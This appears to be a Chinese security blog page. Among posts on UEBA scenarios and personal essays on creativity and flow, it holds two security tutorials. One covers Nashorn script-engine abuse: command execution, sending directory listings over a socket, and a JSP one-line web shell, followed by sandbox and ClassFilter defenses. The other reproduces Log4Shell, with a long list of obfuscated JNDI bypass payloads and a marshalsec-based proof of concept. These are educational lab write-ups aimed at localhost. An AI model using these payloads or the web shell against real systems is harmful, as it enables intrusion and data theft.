• UEBA(用户和实体行为分析)可以用来做什么(十大场景)

    一、UEBA简介

    UEBA 监控用户和实体的活动(如硬件设备和网络),并将当前活动与”正常”或”基线”行为进行比较。使用先进的统计分析,在某些情况下,机器学习算法,目的是要么检测异常活动,这可能是入侵或恶意”内部”行动的迹象,或发现已知的恶意行为模式。

    UEBA VS. UBA

    UBA:重点是分析用户如何与数据交互
    UEBA:Gartner 说,UEBA 一词”认识到一个事实,即除了用户之外,其他实体经常被分析,以便更准确地定位威胁,部分原因在于将这些其他实体的行为与用户行为相关联

    UEBA VS. SIEM

    由于许多公司安全团队已经实现了安全信息和事件管理(SIEM)解决方案,一个常见的问题是UEBA和SIEM是否提供了相同的保护。毕竟,它们都收集与安全相关的信息,这些信息可以指示潜在的或正在发生的威胁。
    共同点都是收集非常多的数据进行分析,SIEM关注的更多是事件,UEBA更多的关注的是人的风险,当然这两者的界限在某些情境下可能非常窄。

    二、为什么要做UEBA

    1、内部的威胁往往不会触发告警
    2、IoCs和静态检测很多时候是没有效果的(例如URLs、C&C Servers、IP Adresses等)
    3、攻击数据可以捕捉,但是攻击本身却很难
    4、大量的日志、事件、告警是容易混乱的

    1、使用异常行为来检测攻击
    2、使用机器模型规模分析所有的数据

    三、UEBA的十个典型场景

    1、登录凭证泄漏检测

    问题描述:
    1. 凭证失窃是一个大麻烦,仅次于钓鱼攻击;
    2. 黑客使用窃取的凭证和相应的权限进入内部;
    3. 最厉害的安全工具也无法区分合法的未授权访问。

    UEBA解法:
    1. 识别异常的账号访问、行动、设备、设备使用、应用对象进入等

    2、特权用户监控

    问题描述:
    1. 特权账户能访问高价值资源,一旦泄漏,将会导致最大的影响;
    2. 特权用户的工作模式往往不受规则限制和不可预测的。

    UEBA解法:
    1. 识别特权用户通过上下文数据或者行为,例如执行管理行为或者使用特权系统等;
    2. 识别风险的异常活动,通过关联多个数据源来降低误报。

    3、经营管理相关的用户、资产监控

    问题描述:
    1. 经营管理相关的资产往往包含敏感数据,例如关于收益、合并和收购、预算计划、产品和服务计划或竞争信息等;
    2. 有时候更困难的可能是确定哪些资产是经营管理相关的。

    UEBA解法:
    1. 通过使用模式去自动判断经营管理相关资产;
    2. 通过行为识别异常访问和活动;
    3. 检测对内部有损害和恶意的使用。

    4、系统、主机、设备等的入侵检测

    问题描述:
    1. 像IoT、OT等资产是黑客们频繁的目标,IoT是被用来获得网络访问权限的立足点,OT对于一些黑客来说是高价值目标;
    2. 可能有多个用户和它们交互;
    3. 许多攻击通过多个用户和资产来实现。

    UEBA解法:
    1. 识别和分类设备,例如服务器、工作站、IoT设备等;
    2. 构建正常行为基线,包括端口、协议、授权、访问、活动等;
    3. 监测异常活动和相关联的用户。

    5、内部访问滥用

    问题描述:
    1. 内部员工可能是恶意、被入侵或疏忽的;
    2. 当攻击者进入到内网中和多个系统中后很难被检测到;
    3. 在大多数传统的安全工具中,它们不会触发警报。

    UEBA解法:
    1. 识别高风险、异常的行为,和它自身、同职位、同组织等相比较来检测内部威胁;
    2. 通过提供全部数据中的异常行为视图来帮助识别攻击动机。

    6、横向移动检测

    问题描述:
    1. 攻击者通过内部网络移动搜寻敏感数据和资产;
    2. 在攻击者横向移动后,安全工具和安全团队经常失去攻击者的踪迹;
    3. 结果可能导致全部攻击或部分攻击被忽略。

    UEBA解法:
    1. 通过行为分析去检测异常账户活动、账户切换、远程连接、PTH攻击等;
    2. 当攻击者在网络中移动的时候进行追踪;
    3. 攻击路径复现在单时间线下是容易的。

    7、数据泄露检测

    问题描述:
    1. 敏感数据被非法转移到组织外;
    2. 恶意的、被入侵的或疏忽的内部人员导致的;
    3、像DLP等流行的工具在处理这类问题是误报率较高。

    UEBA解法:
    1. 识别不一样的数据访问、向外数据传输、USB活动、打印机活动、文件活动等等;
    2. UEBA通过关联用户、角色、正常行为等上下文来实现低误报;
    3. 在攻击生命周期中能更早的发现数据泄漏;
    4. 上述内容的DLP攻击是基于行为和风险的。

    8、失败的登录尝试和账户锁定

    问题描述:
    1. 产生的原因有很多,例如爆破攻击、密码重置、忘记密码、乌龙指等;
    2. 在可允许的上下文中需要几分钟或者几小时去解决每个锁定;
    3. 通常需要一个人去确认和解决。

    UEBA解法:
    1. 基于风险进行排序,允许安全团队关闭高风险的账号;
    2. 提供锁定账号的相关内容协助快速处置;
    3. 在账号锁定前后发生了什么?

    9、服务账号滥用

    问题描述:
    1. 服务账号往往有较高的权限,对于攻击者来说是高价值目标;
    2. 一些组织甚至不知道有一些服务账号在他们组织中存在;
    3. 典型的安全工具对服务账户提供有限或不可见性的防护。

    UEBA解法:
    1. 通过理解、分析行为,自动识别服务账户;
    2. 标记表明妥协或滥用的异常行为;
    3. 通过相关的事件背景,提供一个清晰的事件链。

    10、安全告警调查

    问题描述:
    1. 告警排查在很多分析中都是关键任务;
    2. 它非常手工、耗时且容易出错;
    3. 有太多的事件告警时误报。

    UEBA解法:
    1. 分析告警整体的通过全部的数据源;
    2. 通过行为分析和风险排序去发现高风险告警或者异常告警;
    3. 为事件排查人员提供一系列简短的高保真告警调查;
    4. 通过自动化的方式规模化处理告警。

  • Java NashornJS引擎代码安全执行

    一、什么是Nashorn

    在 Java SE 7 之前,JDK 附带了一个基于 Mozilla Rhino 的 JavaScript 脚本引擎。Java SE 8 将搭载一个名为 Oracle Nashorn 的新引擎,该引擎基于JSR 292和invokedynamic. invokedynamic它通过绑定调用站点提供了对 ECMA 规范化 JavaScript 规范的更好合规性和更好的运行时性能。

    遵循ECMAScript,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import javax.script.ScriptEngine;
    import javax.script.ScriptEngineManager;

    public class Hello {

    public static void main(String... args) throws Throwable {
    ScriptEngineManager engineManager =
    new ScriptEngineManager();
    ScriptEngine engine =
    engineManager.getEngineByName("nashorn");
    engine.eval("function sum(a, b) { return a + b; }");
    System.out.println(engine.eval("sum(1, 2);"));
    }
    }

    二、通过Nashorn实现命令执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public static void main(String[] args) throws ScriptException {

    String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app/Contents/MacOS/Calculator')};";


    ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
    ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn");

    scriptEngine.eval(test);

    }

    三、通过Nashorn实现SSRF攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public static void main(String[] args) throws ScriptException {
    //此处感谢5am3帮忙debug
    //方法1
    String test3 = "var a=mainOutput();function mainOutput(){var file=new java.io.File(\"/\");var fileLists=file.listFiles();var s=new java.net.Socket(\"127.0.0.1\",8200);for(var i=0;i<fileLists.length;i++){var out=s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write(\"\\n\".getBytes());}};";

    //方法2
    String test5 = "var a=mainOutput();function mainOutput(){ var url=new java.net.URL('http://127.0.0.1:8200');url.openConnection().getContent();};";

    ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
    ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn");

    scriptEngine.eval(test5);
    }

    四、其它利用

    一句话木马实现https://xz.aliyun.com/t/9715

    1
    2
    3
    4
    5
    6
    7
    8
    <%

    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(request.getParameter("mr6"));

    %>

    五、防御方法

    5.1 NashornSandbox

    https://github.com/javadelight/delight-nashorn-sandbox

    限制类

    1
    2
    3
    NashornSandbox sandbox = NashornSandboxes.create();     
    sandbox.allow(File.class);
    sandbox.eval("var File = Java.type('java.io.File'); File;")

    实际效果

    1
    2
    3
    4
    NashornSandbox sandbox = NashornSandboxes.create();
    sandbox.allow(File.class);
    //sandbox.allow(Socket.class);
    sandbox.eval(test3);

    可以看到Socket没有被允许,执行失败

    5.2 自建ClassFilter

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    public class EvalTest {

    public static void main(String[] args) throws ScriptException {

    String test3 = "var a=mainOutput();function mainOutput(){var file=new java.io.File(\"/\");var fileLists=file.listFiles();var s=new java.net.Socket(\"127.0.0.1\",8200);for(var i=0;i<fileLists.length;i++){var out=s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write(\"\\n\".getBytes());}};";

    //解析JS
    NashornScriptEngineFactory factory = new NashornScriptEngineFactory();

    ScriptEngine engine = factory.getScriptEngine(
    new EvalTest.seClassFilterBlack());
    engine.eval(test3);
    }

    //黑名单方式
    static class seClassFilterBlack implements ClassFilter{

    @Override
    public boolean exposeToScripts(String s) {
    if (s.compareTo("java.io.File") == 0)
    return false;
    return true;
    }
    }

    //白名单方式
    static class seClassFilterWhite implements ClassFilter{

    @Override
    public boolean exposeToScripts(String s) {
    if (s.compareTo("java.io.File") == 0)
    return true;
    return false;
    }
    }

    }

    可以看到File没有加载,执行失败

  • 创造与热爱

    今天早上在朋友圈看到TIM的一个视频《一个百大UP主的创业故事》,颇有感触和共鸣,视频放在这里了。

    巧的是,早上来的路上,也看到这么一段话,不由得思考,“什么样的事情才可以称之为艺术?”

    这个之前也想过多次,看完TIM视频后,对于这个答案更加具象了一些,趁着还没有忘记,简单写几笔。

    私以为,工作虽不分高低贵贱,但却有着一个明显的分界线,那便是“这份工作/这件事情”是否会对“自我/某个领域/社会/全人类”带来一点“创新/创造/突破/进步”,还是仅仅为了迎合大众的口味亦或日复一日的重复

    中午吃烤肉的时候,和5xxxx、bxxxx聊起来。

    ——“你知道B站老番茄吗?全B站排名第三,他的作品的意义在哪里呢?”
    ——“做游戏视频的那个?B站上绝大部分观众都是为了kill time,搞笑剪辑题材和性感舞蹈题材一样播放量不低。”

    <画家和酿酒师> <黑客与画家>,在内核上,大致是相通的,从没有路的地方寻出一条路来,如果只是一味的模仿/追随/重复,那大致就只能平庸过一生了,即使骗过了所有人,也没法骗过自己内心。


    (截图摘自某位偶像)

    当然了,一切的前提还是要先活下去,在生存的基础上去追求生存质量。

    另一个让我比较有共鸣的点是——“热爱”。有次和c—喝酒的时候,我说我现在也不知道自己热爱的是什么了,好像一切都是三分钟热度,碌碌无为。在过去的这几年里,几乎没有什么事情让我长时间进入心流状态了,彷佛做的一切只是为了谋生。

    周日在家中写了一下午的代码,无比沉浸,在看到预期输出的那一瞬,酣畅淋漓,彷佛多年之前彻夜不眠的自己又回来了。

    似乎自己喜欢的更多的是“创造”的过程,从0到1、从无到有,能够让自己进入心流模式,拍/剪视频的时候也会有这种感觉,一堆杂乱的素材通过各种转场、衔接,变成一个故事,类似的事情仔细想想竟也有不少,时间在此时已不是一个过程,而是一个状态。(难道是多巴胺的分泌?)

    有一个离职创业的朋友,每次在一起聚会的时候,听他讲起自己的事业、通宵coding的时候,似乎能从他眼中看到光。

    (题外话:一直以为眼里有光是个形容词,后来才知道,其实是一个生理反应,泪水的反光)

    我很羡慕,他能拥有自己的热爱、拥有逐梦的勇气。放弃薪水和稳定去与命运搏一线生机,即使失败又如何呢!

    http://paulgraham.com/newideas.html)

    草草写下此文,大概只是说明了自己是个普通人吧。

    但是会永远这样吗?不知道。

    文末推荐一个优质的blog,《黑客与画家》的作者
    http://paulgraham.com/articles.html

  • CVE-2021-44228 Log4Shell

    2021年12月9日晚上,Log4j2 JNDI注入漏洞详情被公开。漏洞发现过程:通过公开的CodeQL规则扫描出来的漏洞。漏洞编号:CVE-2021-44228。影响范围:Apache Log4j 2.x <= 2.15.0-rc1。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;

    public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
    logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
    }

    Log4j2会解析${},读取出其中的内容。判断其是否为Ldap实现的JNDI,于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

    JNDI

    JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。

    JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。

    JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。(copy自网络)

    LDAP

    LDAP目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

    LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

    目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

    目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

    LDAP目录服务是由目录数据库和一套访问协议组成的系统。(copy自网络)

    Payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    ${jndi:ldap://127.0.0.1/poc}
    ${jndi:rmi://127.0.0.1/poc}
    ${jndi:dns://127.0.0.1/poc}
    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1/poc}
    ${${::-j}ndi:rmi://127.0.0.1/poc}
    ${${lower:jndi}:${lower:rmi}://127.0.0.1/poc}
    ${${lower:${lower:jndi}}:${lower:rmi}://127.0.0.1/poc}
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://127.0.0.1/poc}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://127.0.0.1/poc}
    ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}}://127.0.0.1/poc}
    ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/poc}
    $%7Bjndi:ldap://127.0.0.1/poc%7D
    ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}127.0.0.1/poc}
    ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1/poc}
    ${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1/poc}
    ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1/poc}
    ${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}127.0.0.1/poc}
    ${jndi:${lower:l}${lower:d}ap://127.0.0.1/poc}
    ${jndi:ldap://127.0.0.1#127.0.0.1/poc}
    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://k123.k123.k123/poc}
    ${${::-j}ndi:rmi://k123.k123.k123/ass}
    ${jndi:rmi://k8.k123.k123}
    ${${lower:jndi}:${lower:rmi}://k8.k123.k123/poc}
    ${${lower:${lower:jndi}}:${lower:rmi}://k8.k123.k123/poc}
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://k8.k123.k123/poc}
    j${loWer:Nd}i${uPper::}
    ${jndi:ldaps://127.0.0.1/poc}
    ${jndi:iiop://127.0.0.1/poc}
    ${date:ldap://127.0.0.1/poc}
    ${java:ldap://127.0.0.1/poc}
    ${marker:ldap://127.0.0.1/poc}
    ${ctx:ldap://127.0.0.1/poc}
    ${lower:ldap://127.0.0.1/poc}
    ${upper:ldap://127.0.0.1/poc}
    ${main:ldap://127.0.0.1/poc}
    ${jvmrunargs:ldap://127.0.0.1/poc}
    ${sys:ldap://127.0.0.1/poc}
    ${env:ldap://127.0.0.1/poc}
    ${log4j:ldap://127.0.0.1/poc}
    ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:l}d${lower:a}${lower:p}://${hostName}.{{interactsh-url}}}
    ${jndi:rmi://127.0.0.1}/
    ${jnd${123%25ff:-${123%25ff:-i:}}ldap://127.0.0.1/poc}
    ${jndi:dns://127.0.0.1}
    ${j${k8s:k5:-ND}i:ldap://127.0.0.1/poc}
    ${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//127.0.0.1/poc}
    ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://127.0.0.1/poc}
    ${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//127.0.0.1/poc}
    ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://127.0.0.1/poc}
    ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//127.0.0.1/poc}
    ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//127.0.0.1/poc}
    ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//127.0.0.1/poc
    ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//127.0.0.1/poc}
    ${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1}
    ${jnd${upper:i}:ldap://127.0.0.1/poc}
    ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://127.0.0.1/poc}
    ${jndi:ldap://127.0.0.1#127.0.0.1:1389/poc}
    ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/poc}
    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1/poc}
    ${${lower:jndi}:${lower:ldap}://127.0.0.1/poc}
    ${${::-j}ndi:rmi://127.0.0.1/poc}
    ${${lower:${lower:jndi}}:${lower:ldap}://127.0.0.1/poc}
    ${${lower:jndi}:${lower:rmi}://127.0.0.1/poc}
    ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://127.0.0.1/poc}
    ${${lower:${lower:jndi}}:${lower:rmi}://127.0.0.1/poc}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}d${lower:a}p://127.0.0.1/poc}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://127.0.0.1/poc}
    ${j${env:DOESNOTEXIST:-}ndi:ldap://127.0.0.1/poc}
    ${j${env:DOESNOTEXIST:-}ndi:rmi://127.0.0.1/poc}
    ${${: : : : ::: :: :: : :::-j}ndi:ldap://127.0.0.1/poc}
    ${${: : : : ::: :: :: : :::-j}ndi:rmi://127.0.0.1/poc}
    ${${::::::::::::::-j}ndi:ldap://127.0.0.1/poc}
    ${${::::::::::::::-j}ndi:rmi://127.0.0.1/poc}
    ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/poc}

    (copy自网络)

    漏洞复现

    创建LDAPRefServer

    poc:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public class Poc {
    public Poc() {
    try{
    String[] cmd = {"open", "/System/Applications/Calculator.app"};
    Process process = Runtime.getRuntime().exec(cmd);
    process.waitFor();
    }catch (Exception e){
    e.printStackTrace();
    }
    }

    public static void main(String[] args) {
    Poc poc = new Poc();
    }
    }
    1
    python3 -m http.server 8200
    1
    java marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8200/#Poc" 

    执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    package net.uxss.log4j2;

    import org.apache.logging.log4j.*;

    public class Log4j2Test {

    private static final Logger logger = LogManager.getLogger(Log4j2Test.class);

    public static void main(String[] args) {
    logger.error("${jndi:ldap://127.0.0.1:1389/Poc}");
    }
    }

  • 莫向外求,反求诸己

    这篇小文可以理解为是《心流:最优体验心理学》的笔记和摘录,和大多数人一样,在注意力和自律上并不能很好的战胜欲望,但是内心却一直在寻找一种心境,可以让自己感受到内心愉悦、幸福,而不想一直困在世俗的制度、条例、奖赏、惩罚之中。寻求内心的安宁以及如何与这个社会共处的平衡。

    怎么定义幸福?

    漫长的人生岁月不仅幸福难求,还时时处于焦虑和倦怠之中。

    每个人对于自己这辈子希望完成的事,大致总有个模糊的概念,目标达到的程度就是衡量生活品质的指标。如果它始终遥不可及,我们就会变得怨天尤人、愤世嫉俗;但只要能完成一小部分,我们就会觉得幸福满足。世上大多数人的人生目标都很简单:平安地活着,养育一儿半女;如果可能的话,再加上那么一点儿舒适与尊严。

    我们从小就以为,人生最重要的是未来。父母教孩子养成好习惯,为的是长大后对他们有益;老师向学生保证,无聊的课程日后有助于他们谋职;公司主管告诉新员工,要有耐心,努力工作,因为有朝一日会晋升为主管—然而在漫长的晋升之路尽头,退休的时刻也会同时到来。爱默生曾说:“我们对生活有种种期许,却从未真正生活过。”一个穷困的小女孩也从童话故事中学到:果酱和面包永远是明天的事,今天就是吃不到。

    我们应该要认识到,文明就是建立在压抑个人欲望基础上的。社会成员不论乐意与否,都被迫接受既定的习惯与技能,否则就不可能维持社会秩序和复杂的分工制度。个人社会化是必然的;社会化的真谛在于使个人依赖社会的控制,并对赏罚有既定的反应;社会化的最高境界就是使每个人都完全认同社会秩序,根本不想触犯任何规则。社会为了使我们实现它的目标,有若干手段:生理需求和基因制约。除了痛苦,社会控制也以快乐作为使人就范的诱饵。工作一辈子并遵守法律的报酬就是美好生活,这一招其实就是利用人性的弱点。人的每个欲望——从性欲到侵略,从寻求安全感到接受改变——几乎都成为政客、教会、企业及广告界控制社会的手段。

    跟随本能的享乐,即时满足,并不会构建有序的意识,反而会加速其无序的状态,进而产生焦虑、烦躁等负面情绪。而一个“well being“需要兼顾生理和精神的双重满足。

    在当今社会的运行机制下,外界展示给你的,往往通过某种奖励吸引你去追随,它们的动机大多是想要控制你,例如广告,通过各个角度来暗示你可以通过购买xx商品获得生活品质的改善,不断的会有新的广告、商品,提高生活品质是一件永远没有尽头的苦役,最终陷入期望值不断升高的恶性循环中无力自拔。

    纵然明知物质的丰裕并不能带来幸福,但我们还是习惯外求,不停地追逐外在的目标,希望借此改善生活。财富、地位、权力是现代文明最重视的幸福象征。我们总以为,有钱、有名、俊俏美丽的人一定过得很充实,尽管各方面证据可能显示,他们生活得并不惬意。但我们依然坚信,只要能拥有跟他们同样的象征特质,就会更幸福。享乐是高水准生活的重要一环,但享乐本身并不能带来幸福。睡眠、休息、食物与性,都属于恢复“均衡”的体验,在肉体需求引起精神熵以后,重整意识的秩序。它们并不能带动心灵的成长,也不能增加自我的复杂性。换言之,享乐虽有助于维持意识的秩序,却无法在意识中创造新秩序。

    摆脱社会制约的首要之务便是控制本能的冲动,因为只要我们凡事跟着感觉走,一举一动就不难预测,别人就很容易利用我们的好意,达到他们自私的目的。幸运的是,还是有不少人能逃脱出来。这些人尽管物质条件不够优越,但仍然能改善生活品质,不但知足常乐,也常能使周遭的人生活得更快乐。

    古老的故事告诉我们,英雄在“从此过上幸福快乐的生活”之前,必须与喷火毒龙搏斗,与居心险恶的魔法师抗争。同样的譬喻也适用于心灵的冒险。我认为幸福之所以难求,最主要是因为人类自以为是地认定宇宙是为满足我们的需求而存在的,然而现实却大相径庭——生命中其实深埋着沮丧的种子。只要某种欲望一时得到满足,我们就立刻渴望得到更多。这种长期的贪得无厌,是追求知足常乐途中的另一重障碍。

    一般人想进一步充实自己的生活时,不但会想到享乐,还会想到虽然与享乐重叠,但必须用不同字眼表达的另一种感受——乐趣。乐趣具有向前发展的特性,并蕴涵新鲜感和成就感。经历过有乐趣的事,我们就感觉自己有了改变,自我有了成长;在某些方面,这次体验已使我们变得更复杂、更丰富。

    真正的幸福,是当你全心全意投入一件事,把自己置之度外的时候,获得的副产品。你直接追求的并不是幸福,而是把自己变得更复杂——在这个变复杂的过程中,你会找到乐趣,这个状态就是幸福的。人生要的不是最后终点的结果,而是每时每刻点点滴滴成长的过程。成长不仅仅是在校学生的事儿。成长也不是为了达到什么目的的手段。成长本身,就是我们的目的。

    这个全身心投入的事物每个人的理解可能都不一样,在如今,很多人陷入一个误区,“享乐==幸福”,如米哈里所言,“享乐的片刻转瞬即逝”。相信都能理解,例如无法抗拒食物、酒精、性爱等等,无穷无尽的欲念,当满足一个欲念后,随之而来的是空虚以及更强烈的欲念。人首先作为一种动物,所有的本能都是受基因所驱使,当然“跟随基因的反应,享受自然的乐趣,寻求快乐是基因为物种延续而设的一种即时反射,其目的非关个人利益。但我们应该认清事实真相。”

    全身心地投入一桩事物,达到忘我的程度,并由此获得内心秩序和安宁时的状态。心流其实是一种生活方式,而且是最高级的生活方式。你想幸福吗?追求心流。它背后更大的逻辑是,你要通过锻炼控制自己的意识,去获得真正的幸福。我们做事的时候并不在乎结果能不能给自己带来多大的利益,而是专注于做这件事本身,从中获得乐趣。这句话听着特别像“心灵鸡汤”,但它恰恰是一个站得住脚的理论!

    心流

    对于心流的定义有很多种,我最欣赏这个定义,“沉浸于事物本身,这就是心流。”

    就是当你特别专注地做一件目标明确而又有挑战的事情,而你的能力恰好能接住这个挑战时,你可能会进入的一种状态。它的特征是你做这件事的时候会忘记自己,忘记时间的流逝,你能体察到所有相关的信息,不管工作多复杂你都毫不费力,而且有强烈的愉悦感。

    这个过程可以理解为精神世界的负墒,最典型、最壮丽也最奇妙的负熵过程就是这个宇宙的最大奇迹——生命,从无序到有序。从这个角度来说,心流就是大脑的生命。当心熵比较高的时候,在一片混乱的情况下,大脑的做功能力很低,很多心理能量都浪费在内耗上了。但一旦进入心流状态,心理能量就围绕着同一个主题组织起来,向同一个方向高效率地输出。这也就是契克森米哈赖反复强调的,人在心流状态下的表现最好。

    “首先,这种体验出现在我们面临一份可完成的工作时。

    其次,我们必须能够全神贯注于这件事情。

    第三,明确的目标.

    第四,即时的反馈。

    第五,我们能深入而毫不牵强地投入到行动之中,日常生活的忧虑和沮丧都因此一扫而空。

    第六,充满乐趣的体验使人觉得能自由控制自己的行动。

    第七,进入“忘我”状态,但心流体验告一段落后,自我感觉又会变得强烈。

    第八,时间感会改变——几小时犹如几分钟,几分钟也可能变得像几小时那么漫长。这些元素结合成一种深刻的愉悦感,带来无比的报偿,并扩展成极大的能量,仅是感觉它的存在就已值回“票价”了。”

    最简单的理解,有些人习惯信笔涂鸦,有些人咀嚼东西或抽烟、梳头发、哼曲子,目的无非是通过有规律的行动,把意识规范得更有秩序。这些活动是一种“小型心流”,可以帮助我们度过日常生活的低潮。

    进入心流状态后,“当事人全神贯注,一切动作都不假思索,几乎完全自动自发;他们的知觉甚至泯灭,人与行动完全合一。”“在日常生活中,我们经常被怀疑或疑问打断:“我为什么这么做?我是否该做这件事?”我们一再追问行动的必要性,并批判它们背后的理由。然而在心流中没有反省的空间,所有行动宛如一股魔力,带着我们勇往直前。”

    “最常述及的心流体验的特征就是,在心流中会把生活中所有不快乐的事忘得一干二净。这是因为要想从活动中汲取乐趣,必须全心全意地专注于手头的工作,所产生的重要副产品——心流状态下的心灵完全没有容纳不相干资讯的余地。”

    “体育具备造就心流的最佳条件:明确的目标,即时的回馈,易学难精带来的上不封顶的挑战性。体育的最大功能是帮助人控制自己:既学习控制自己的身体——这很好理解,体操、田径、游泳、球类,都要在控制身体上下大功夫,又要学习控制自己的精神,控制自己的注意力。”

    “冒险专家的乐趣并非来自危险本身,而是来自他们使危险降至最低的能力。真正令他们乐此不疲的,不是追逐危险的病态悚栗,而是一种有办法控制潜在危险的感觉。”

    “一位骄傲的作家用字与词创造一个令人沉浸的世界。在这个过程中,他不断挑战自我。就像海明威一样,三十岁的时候,人们以为《战地春梦》就是他的最高水准了;然而,他又用了二十多年锤炼手艺,直到巅峰之作《老人与海》问世。海明威的大半生,一直用写作催生心流涓涓不断。在这个硬汉世界中,他是唯一的君王。直到有一天,世界失控,沙堆崩溃。”

    人生目标

    人生目标的获得不能抄袭,没有捷径。米哈里说:获得最优体验的手段,“不能浓缩成一个秘诀,也不能背诵下来重复使用……每个人必须自行从不断的尝试与错误中学习”。米哈里问读者:什么是自得其乐?他自己的回答是:“就是‘拥有自足目标的自我’,大多数人的目标都受生理需要或社会传统的制约,亦即来自外界。自得其乐的人,主要目标都从意识评估过的体验中涌现,并以自我为依据。”外界向你提供目标时,往往以某种奖励吸引你追随它。世上大多数奖励的动机是控制你

    在讨论心流与目标时,米哈里还提出了“自成目标”的概念,即目标是做你喜欢做的事情,而非做这件事情的报酬,尽管有时也存在报酬,有时也有社会效益。也就是为艺术而艺术,为科学而科学,为你喜欢的劳作而劳作。米哈里说:“开始时靠目标证明努力的必要,到后来却变成靠努力证明目标的重要性。”“登上山顶之所以重要,只因它证明了我们爬过山,爬山的过程才是真正的目标。”

